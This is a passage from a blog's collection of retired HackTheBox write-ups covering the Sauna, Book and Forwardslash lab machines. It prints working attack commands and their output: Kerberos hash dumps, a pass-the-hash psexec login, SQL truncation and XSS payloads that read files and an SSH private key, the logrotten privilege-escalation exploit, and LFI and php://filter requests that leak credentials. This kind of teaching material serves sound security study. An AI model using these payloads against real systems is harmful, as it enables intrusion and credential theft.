EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:a90968c91de5f77ac3b7d938bd760002373f71e14e1a027b2d93d1934d64754a
SAUNA$:aes128-cts-hmac-sha1-96:0bf0c486c1262ab6cf46b16dc3b1b198
SAUNA$:des-cbc-md5:b989ecc101ae4ca1
[*] Cleaning up...
</code></pre></div>
<h2>PTH</h2>
<p>We can then use the <a href="http://blog.gentilkiwi.com/tag/pass-the-hash">Path the hash</a>
technique with
<a href="https://github.com/SecureAuthCorp/impacket/">impacket's psexec.py</a> to login as
Administrator on the Domain Controller as administrator and get the flag.</p>
<div class="highlight"><pre><span></span><code>python psexec.py egotisticalbank.local/Administrator@10.10.10.175 -hashes aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
[*] Requesting shares on 10.10.10.175.....
[*] Found writable share ADMIN$
[*] Uploading file NEOSMAXA.exe
[*] Opening SVCManager on 10.10.10.175.....
[*] Creating service RFiq on 10.10.10.175.....
[*] Starting service RFiq.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
f3ee04965c68257382e31502cc5e881f
</code></pre></div>
<h1>Wrapping up</h1>
<p>This box is a lot like <a href="todo link if article already published">Forest</a> and I
am a bit disappointed. Apart from that the box is interesting.</p>
<blockquote>
<p>What a journey. This box was classified as easy but probably needed a medium
classification. WinRM is so <em>finicky</em>. The root part was interesting as it
allowed us to play with AD privileges which doesn't happen a lot
outside of client environments.</p>
</blockquote>
<p>(Conclustion of <a href="https://maggick.fr/2020/03/htb-forest.html">Forest</a>)</p>HTB: Book2020-07-12T16:30:00+02:002020-07-12T16:30:00+02:00maggicktag:maggick.fr,2020-07-12:/2020/07/htb-book.html<p><img alt="Book card" class="align-left" src="/media/2020.07/book_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/230">Book</a>
This box is classified as a medium machine published on February the 22th 2020
by <a href="https://www.hackthebox.com/home/users/profile/13531">MrR3boot</a>.
It involves some XSS, an SQL truncation injection and a CVE on logrotate.</p>
<p><img alt="Book card" class="align-left" src="/media/2020.07/book_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/230">Book</a>
This box is classified as a medium machine published on February the 22th 2020
by <a href="https://www.hackthebox.com/home/users/profile/13531">MrR3boot</a>.
It involves some XSS, an SQL truncation injection and a CVE on logrotate.</p>
<p><em>I lost all the pictures that were suppose to be shared in this artilce. Sorry
for that.</em></p>
<h1>User</h1>
<h2>Recon</h2>
<p>We start with an nmap scan. Only the ports 22 (SSH) and 80 (HTTP) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Tue Feb 25 07:26:24 2020 as: nmap --top-ports=10000 -sS -oN nmap 10.10.10.176
Nmap scan report for 10.10.10.176
Host is up (0.013s latency).
Not shown: 8318 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Tue Feb 25 07:31:10 2020 -- 1 IP address (1 host up) scanned in 286.11 seconds
</code></pre></div>
<h2>Web</h2>
<p>The landing web page is a simple sign up/ login form.</p>
<p>Missing picture: authentication and signup forms</p>
<p>We can create an account on the box (there is no email verification).</p>
<p>Once logged in we can browse the book collections, download them and learn
things about the flowers.</p>
<p>Missing picture: User panel</p>
<p>We can also upload books by uploading a PDF file and providing the author name
and the book title. This two fields are vulnerable to XSS injection even using a
simple payload as <code><img onerror="alert(1)/" src=""/></code>.</p>
<p>To trigger the XSS we need to search for our book.</p>
<p>Missing picture: admin panel</p>
<p><em>Note: This need to be exploited quickly as the book collection is periodicaly
reset.</em></p>
<p>The Contact form give us the email address of the platform's administrator:
<code>admin@book.htb</code>.</p>
<h2>admin panel</h2>
<p>When looking at the website pages we found <code>/admin/</code> another login form.</p>
<p>Using <a href="https://resources.infosecinstitute.com/sql-truncation-attack">SQL truncation</a>
we can change the admin account password on the plateform:</p>
<p>We register a new user with a specific long email using Burp repeater.
Our post data request is the following:</p>
<div class="highlight"><pre><span></span><code><span class="nf">POST</span> <span class="nn">/index.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">10.10.10.176</span>
<span class="na">User-Agent</span><span class="o">:</span> <span class="l">Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0</span>
<span class="na">Accept</span><span class="o">:</span> <span class="l">text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span>
<span class="na">Accept-Language</span><span class="o">:</span> <span class="l">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="o">:</span> <span class="l">gzip, deflate</span>
<span class="na">Referer</span><span class="o">:</span> <span class="l">http://10.10.10.176/index.php</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">application/x-www-form-urlencoded</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">222</span>
<span class="na">Connection</span><span class="o">:</span> <span class="l">close</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">PHPSESSID=9li0llrrcn7tthael9i5s8pmsr</span>
<span class="na">Upgrade-Insecure-Requests</span><span class="o">:</span> <span class="l">1</span>
<span class="nt">name</span><span class="o">=</span><span class="s">ppqqe</span><span class="p">&</span><span class="nt">email</span><span class="o">=</span><span class="s">admin%40book.htb%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20*</span><span class="p">&</span><span class="nt">password</span><span class="o">=</span><span class="s">q</span>
</code></pre></div>
<p>We can now logged in as <code>admin@book.htb</code> using the password <code>q</code>.</p>
<p>Missing picture: admin panel as admin</p>
<p>The admin panel allow to download the users' and books' collections.
As we saw previously the files <code>book title</code> and <code>book author</code> are vulnerable to
an XSS.</p>
<p>It is possible to <a href="https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html">transform an XSS in a generated PDF into an LFI</a>.</p>
<p>We create a new book with our user account and put a specific JavaScript payload
in the <code>book title</code>.</p>
<div class="highlight"><pre><span></span><code><span class="nt"><script></span><span class="w"> </span>x=new<span class="w"> </span>XMLHttpRequest;<span class="w"> </span>x.onload=function(){<span class="w"> </span>document.write(this.responseText)<span class="w"> </span>};<span class="w"> </span>x.open("GET","file:///etc/passwd");<span class="w"> </span>x.send();<span class="w"> </span><span class="nt"></script></span>
</code></pre></div>
<p>Then we generate the collection PDF. It will include the whole <code>/etc/passwd</code>
file. We see that the only system user is <code>reader</code> (UID 1000).</p>
<div class="highlight"><pre><span></span><code>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:GnatsBug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd NetworkManagement,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemdResolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
reader:x:1000:1000:reader:/home/reader:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/
</code></pre></div>
<p>We need to get a shell on the box and if possible a persistent access (like a
checkpoint) as a password or ssh private key. That's why we just try to get
<code>/home/reader/.ssh/id_rsa</code> with the following payload:</p>
<div class="highlight"><pre><span></span><code><span class="nt"><script></span><span class="w"> </span>x=new<span class="w"> </span>XMLHttpRequest;<span class="w"> </span>x.onload=function(){<span class="w"> </span>document.write(this.responseText)<span class="w"> </span>};<span class="w"> </span>x.open("GET","file:///home/reader/.ssh/id_rsa");<span class="w"> </span>x.send();<span class="w"> </span><span class="nt"></script></span>
</code></pre></div>
<p>Then we download the PDF file. It contains a SSH private key.</p>
<div class="highlight"><pre><span></span><code>-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJG8m6UNZyRGj
7eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnVCpiHPpJ0WxtCK0VlQUwxZ6953D16uxl
RH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80NdjUCl/0ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd
/j3xWXHgpaJciHKxeNlr8x6NgbPv4s7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hL
W1UGx/13fh20cZXA6PK75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh7
hihAbIi73mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtgToFwxsD+McK
IrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3iuQRwzUItIGcAaz3dTODgD
O04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9ERdiuX6WJjhPHFI7usIxmgX8Q2/nx3LSUN
eZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX50/owz7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lc
PzvVGOEGQzkuu4ljFkYz6sZ8GMx6GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmT
mk3A7jOwke0o8/4FLE2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZiPl
SNbc8/ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAoGBAOe+SRM/A
bh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei6Sv8et7lskGl3dh4M/2Tgl/g
YPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickgD2fv+Vo5GVjWTOlfEj74k8hC6GjzWHna0
pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9l/g7mHc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl
/FOW2AFbkzoNbHT9GpTj5ZfacChBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k
8J+fVHJl4IjT80uPb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOA
MYkhsMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCftdBBP0U
v2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi5bBLnzECgYEAlLiYGz
P92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlWy1K/LbqIV3C01ruxVBOV7ivUYrRkx
R/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TNnkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABI
prhDfKUSbHzLIR4=
-----END RSA PRIVATE KEY-----
</code></pre></div>
<p>We can then connect as <code>reader</code> using ssh and grab the user's flag.</p>
<div class="highlight"><pre><span></span><code># ssh reader@10.10.10.176
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Feb 27 15:39:22 UTC 2020
System load: 0.22 Processes: 153
Usage of /: 26.5% of 19.56GB Users logged in: 1
Memory usage: 22% IP address for ens33: 10.10.10.176
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
114 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Feb 27 15:36:29 2020 from 10.10.16.155
reader@book:~$ cat user.txt
51c1d4b5197fa30e3e5d37f8778f95bc
</code></pre></div>
<h1>Getting root</h1>
<h2>enumeration</h2>
<p>When looking at our user's home folder we found a <code>backups</code> folder containing
two files: <code>access.log</code> and <code>access.log.1</code>.</p>
<p>We continue to enumerate the box and mainly the process using <a href="https://github.com/DominicBreuker/pspy">pspy</a></p>
<div class="highlight"><pre><span></span><code>reader@book:~$ ./pspy64
2020/02/27 13:51:13 CMD: UID=0 PID=19874 | /usr/sbin/logrotate -f /root/log.cfg
2020/02/27 13:51:13 CMD: UID=0 PID=19873 | /bin/sh /root/log.sh
2020/02/27 13:51:13 CMD: UID=0 PID=19875 | sleep 5
2020/02/27 13:51:18 CMD: UID=1000 PID=19876 | /usr/sbin/apache2 -k start
2020/02/27 13:51:18 CMD: UID=0 PID=19878 | /usr/sbin/logrotate -f /root/log.cfg
2020/02/27 13:51:18 CMD: UID=0 PID=19877 | /bin/sh /root/log.sh
2020/02/27 13:51:18 CMD: UID=0 PID=19879 | sleep 5
2020/02/27 13:51:19 CMD: UID=1000 PID=19880 | /usr/sbin/apache2 -k start
2020/02/27 13:51:20 CMD: UID=0 PID=19885 | /lib/systemd/systemd-udevd
2020/02/27 13:51:20 CMD: UID=0 PID=19884 | /lib/systemd/systemd-udevd
2020/02/27 13:51:20 CMD: UID=0 PID=19883 | /lib/systemd/systemd-udevd
2020/02/27 13:51:20 CMD: UID=0 PID=19882 | /bin/sh /root/log.sh
2020/02/27 13:51:20 CMD: UID=0 PID=19881 | /bin/sh /root/log.sh
2020/02/27 13:51:20 CMD: UID=0 PID=19891 | /lib/systemd/systemd-udevd
2020/02/27 13:51:20 CMD: UID=0 PID=19890 | /lib/systemd/systemd-udevd
2020/02/27 13:51:21 CMD: UID=0 PID=19889 | /lib/systemd/systemd-udevd
2020/02/27 13:51:21 CMD: UID=0 PID=19888 | /lib/systemd/systemd-udevd
2020/02/27 13:51:21 CMD: UID=0 PID=19887 | /lib/systemd/systemd-udevd
2020/02/27 13:51:21 CMD: UID=0 PID=19886 | /lib/systemd/systemd-udevd
2020/02/27 13:51:21 CMD: UID=0 PID=19892 |
2020/02/27 13:51:23 CMD: UID=0 PID=19894 | /usr/sbin/logrotate -f /root/log.cfg
2020/02/27 13:51:23 CMD: UID=0 PID=19893 | /bin/sh /root/log.sh
2020/02/27 13:51:23 CMD: UID=0 PID=19895 | sleep 5
2020/02/27 13:51:28 CMD: UID=0 PID=19898 | /usr/sbin/logrotate -f /root/log.cfg
2020/02/27 13:51:28 CMD: UID=0 PID=19897 | /bin/sh /root/log.sh
2020/02/27 13:51:28 CMD: UID=0 PID=19899 | sleep 5
2020/02/27 13:51:29 CMD: UID=1000 PID=19900 | /usr/sbin/apache2 -k start
2020/02/27 13:51:30 CMD: UID=1000 PID=19901 | /usr/sbin/apache2 -k start
</code></pre></div>
<p>We see that the root user (<code>UID=0</code>) is periodically executing the following
commands:</p>
<div class="highlight"><pre><span></span><code>/usr/sbin/logrotate -f /root/log.cfg
/bin/sh /root/log.sh
sleep 5
</code></pre></div>
<h2>logrotate</h2>
<p>We look at the logrotate version.</p>
<div class="highlight"><pre><span></span><code>reader@book:~$ logrotate --version
logrotate 3.11.0
</code></pre></div>
<p>This version is <a href="https://packetstormsecurity.com/files/154743/Logrotate-3.15.1-Privilege-Escalation.html">vulnerable to a privilege escalation</a>.</p>
<p>We copy the C exploit using SSH, compile it, create a specific payload file and run the exploit on
the access.log file (in debug mode).</p>
<div class="highlight"><pre><span></span><code>$ gcc -o logrotten logrotten.c
$ cat payloadfile
cp /root/root.txt /tmp/systemd-timesyncd/ ; chmod 777 /tmp/systemd-timesyncd/root.txt
$ ./logrotten -p ./payloadfile /home/reader/backups/access.log -d
</code></pre></div>
<p>In another terminal we put data inside the access.log file.</p>
<div class="highlight"><pre><span></span><code>reader@book:~$ python -c 'print "a"*10000'> backups/access.log
</code></pre></div>
<p>Then we wait a bit for the file to be created and we can display our <code>root.txt</code>.</p>
<div class="highlight"><pre><span></span><code>$ cat root.txt
84da92adf998a1c7231297f70dd89714
</code></pre></div>
<h1>Wrapping up</h1>
<p>This box was really interesting as the web vulnerably can be found in real
websites. The privilege escalation is quit simple at it just implies to exploit
a known vulnerability.</p>HTB: Forwardslash2020-07-07T09:09:00+02:002020-07-07T09:09:00+02:00maggicktag:maggick.fr,2020-07-07:/2020/07/htb-forwardslash.html<p><img alt="Forwardslash card" class="align-left" src="/media/2020.07/forwardslash_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/239">Forwardslash</a> created by
<a href="https://www.hackthebox.com/home/users/profile/52045">InfoSecJack</a> and
<a href="https://www.hackthebox.com/home/users/profile/44614">chivato</a> publish on
April 4, 2020.
This box is classified as an hard machine. The user part inplies some
enumeration a LFI, some PHP filter, a home made backup binary. The root part
implies some home made crypto (<strong>don't</strong>) and a LUKS image.</p>
<p><img alt="Forwardslash card" class="align-left" src="/media/2020.07/forwardslash_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/239">Forwardslash</a> created by
<a href="https://www.hackthebox.com/home/users/profile/52045">InfoSecJack</a> and
<a href="https://www.hackthebox.com/home/users/profile/44614">chivato</a> publish on
April 4, 2020.
This box is classified as an hard machine. The user part inplies some
enumeration a LFI, some PHP filter, a home made backup binary. The root part
implies some home made crypto (<strong>don't</strong>) and a LUKS image.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>We start with an nmap scan. Only the ports 22 (SSH) and 80 (HTTP) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Sun Apr 25 07:56:08 2020 as: nmap -p- -oN nmap 10.10.10.183
Nmap scan report for 10.10.10.183
Host is up (0.014s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Sun Apr 25 07:56:20 2020 -- 1 IP address (1 host up) scanned in 12.27 seconds
</code></pre></div>
<h2>Web</h2>
<p>The homepage announce that the site was hacked.</p>
<p><img alt="homepage" class="image-process-article-image" src="/media/2020.07/derivatives/article-image/forwardslash_01.png"/></p>
<p>We don't have access to anything. We start with a simple fuzzing using <code>ffuf</code>
but nothing interesting came out. We had the extension <code>.xml</code>, <code>.txt</code> and <code>.php</code>
to <code>ffuf</code> and relaunch it. This time we found an "interesting" page: <code>note.txt</code>.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ ./ffuf -w /usr/share/wordlists/dirb/big.txt -u http://forwardslash.htb/FUZZ -mc 200 -c -e .xml,.txt,.php
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.0.2
________________________________________________
:: Method : GET
:: URL : http://forwardslash.htb/FUZZ
:: Extensions : .xml .txt .php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
index.php [Status: 200, Size: 1695, Words: 207, Lines: 42]
note.txt [Status: 200, Size: 216, Words: 39, Lines: 5]
:: Progress: [81876/81876] :: Job [1/1] :: 481 req/sec :: Duration: [0:02:50] :: Errors: 67 ::
</code></pre></div>
<p>The note contain a message from the website administrator <code>chiv</code> speaking about
a backup site.</p>
<blockquote>
<p>Pain, we were hacked by some skids that call themselves the "Backslash Gang"... I know... That name... Anyway I am just leaving this note here to say that we still have that backup site so we should be fine.</p>
<p>-chiv</p>
</blockquote>
<p>We modify our <code>/etc/hosts</code> in order to add the <code>backup</code> subdomain and browse to
<code>http://backup.forwardslash.htb/</code> which is an authentication form.</p>
<p><img alt="backup homepage" class="image-process-article-image" src="/media/2020.07/derivatives/article-image/forwardslash_02.png"/></p>
<p>We are able to auto register here and access an few functionality. One was
disabled because of the hack: The profile picture upload. But the button are just
disables in the HTML source code. We can easily re-enable them with the element
inspector (browser built-in).</p>
<p>We can then upload our profile picture with a POST request. Nevertheless we can
also modify the URL to include local files as <code>/etc/passwd</code> by simply putting a
relative path.</p>
<p>Here is the request:</p>
<div class="highlight"><pre><span></span><code>POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=7j90s0qj5ssk9keddt94ttgcoq
Content-Length: 32
url=../../../../../../etc/passwd
</code></pre></div>
<p>Here is the server's response:</p>
<div class="highlight"><pre><span></span><code><snip>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
pain:x:1000:1000:pain:/home/pain:/bin/bash
chiv:x:1001:1001:Chivato,,,:/home/chiv:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
</snip></code></pre></div>
<p>Now that we have a LFI we can look for the database credentials. We load the
<code>register.php</code> file as it is certainly using the database to store the new
users. We see that the file only include the <code>config.php</code> file.</p>
<p>Here is the request:</p>
<div class="highlight"><pre><span></span><code>POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Cookie: PHPSESSID=7j90s0qj5ssk9keddt94ttgcoq
url=./register.php
</code></pre></div>
<p>Here is the server's answer:</p>
<div class="highlight"><pre><span></span><code><snip>
// Include config file
require_once "config.php";
// Define variables and initialize with empty values
$username = $password = $confirm_password = "";
$username_err = $password_err = $confirm_password_err = "";
// Processing form data when form is submitted
if($_SERVER["REQUEST_METHOD"] == "POST"){
<snip>
</snip></snip></code></pre></div>
<p>Therefore we load the <code>config.php</code> file. It contains the current DB credentials
but we cannot use them for anything else (mostly connect using the SSH service).
The comment speaks about a backup of the old configuration.</p>
<p>Here is the request:</p>
<div class="highlight"><pre><span></span><code>POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
Cookie: PHPSESSID=7j90s0qj5ssk9keddt94ttgcoq
url=./config.php
</code></pre></div>
<p>Here is the server's answer:</p>
<div class="highlight"><pre><span></span><code>//credentials for the temp db while we recover, had to backup old config, didn't want it getting compromised -pain
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'www-data');
define('DB_PASSWORD', '5iIwJX0C2nZiIhkLYE7n314VcKNx8uMkxfLvCTz2USGY180ocz3FQuVtdCy3dAgIMK3Y8XFZv9fBi6OwG6OYxoAVnhaQkm7r2ec');
define('DB_NAME', 'site');
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection
if($link === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
}
</code></pre></div>
<p>We start enumeration the website and quickly found the <code>/dev/</code> folder. He is not
accessible from our IP address as there must be some network filtering.</p>
<p><img alt="dev access denied" class="image-process-article-image" src="/media/2020.07/derivatives/article-image/forwardslash_03.png"/></p>
<p>We try to include the file with our previous LFI but we got an error saying "Permission Denied; not that way ;)"</p>
<p>Here is the request:</p>
<div class="highlight"><pre><span></span><code>POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Cookie: PHPSESSID=7j90s0qj5ssk9keddt94ttgcoq
url=dev/index.php
</code></pre></div>
<p>We then try to use the PHP filters to access the file content. The base64 filter
give us the content of the file base64 encoded.</p>
<p>Here is the request:</p>
<div class="highlight"><pre><span></span><code>POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Cookie: PHPSESSID=7j90s0qj5ssk9keddt94ttgcoq
url=php://filter/convert.base64-encode/resource=dev/index.php
</code></pre></div>
<p>Here is the server's answer:</p>
<div class="highlight"><pre><span></span><code>PD9waHAKLy9pbmNsdWRlX29uY2UgLi4vc2Vzc2lvbi5waHA7Ci8vIEluaXRpYWxpemUgdGhlIHNlc3Npb24Kc2Vzc2lvbl9zdGFydCgpOwoKaWYoKCFpc3NldCgkX1NFU1NJT05bImxvZ2dlZGluIl0pIHx8ICRfU0VTU0lPTlsibG9nZ2VkaW4iXSAhPT0gdHJ1ZSB8fCAkX1NFU1NJT05bJ3VzZXJuYW1lJ10gIT09ICJhZG1pbiIpICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICE9PSAiMTI3LjAuMC4xIil7CiAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwMyBGb3JiaWRkZW4nKTsKICAgIGVjaG8gIjxoMT40MDMgQWNjZXNzIERlbmllZDwvaDE+IjsKICAgIGVjaG8gIjxoMz5BY2Nlc3MgRGVuaWVkIEZyb20gIiwgJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10sICI8L2gzPiI7CiAgICAvL2VjaG8gIjxoMj5SZWRpcmVjdGluZyB0byBsb2dpbiBpbiAzIHNlY29uZHM8L2gyPiIKICAgIC8vZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMzt1cmw9Li4vbG9naW4ucGhwIiAvPic7CiAgICAvL2hlYWRlcigibG9jYXRpb246IC4uL2xvZ2luLnBocCIpOwogICAgZXhpdDsKfQo/Pgo8aHRtbD4KCTxoMT5YTUwgQXBpIFRlc3Q8L2gxPgoJPGgzPlRoaXMgaXMgb3VyIGFwaSB0ZXN0IGZvciB3aGVuIG91ciBuZXcgd2Vic2l0ZSBnZXRzIHJlZnVyYmlzaGVkPC9oMz4KCTxmb3JtIGFjdGlvbj0iL2Rldi9pbmRleC5waHAiIG1ldGh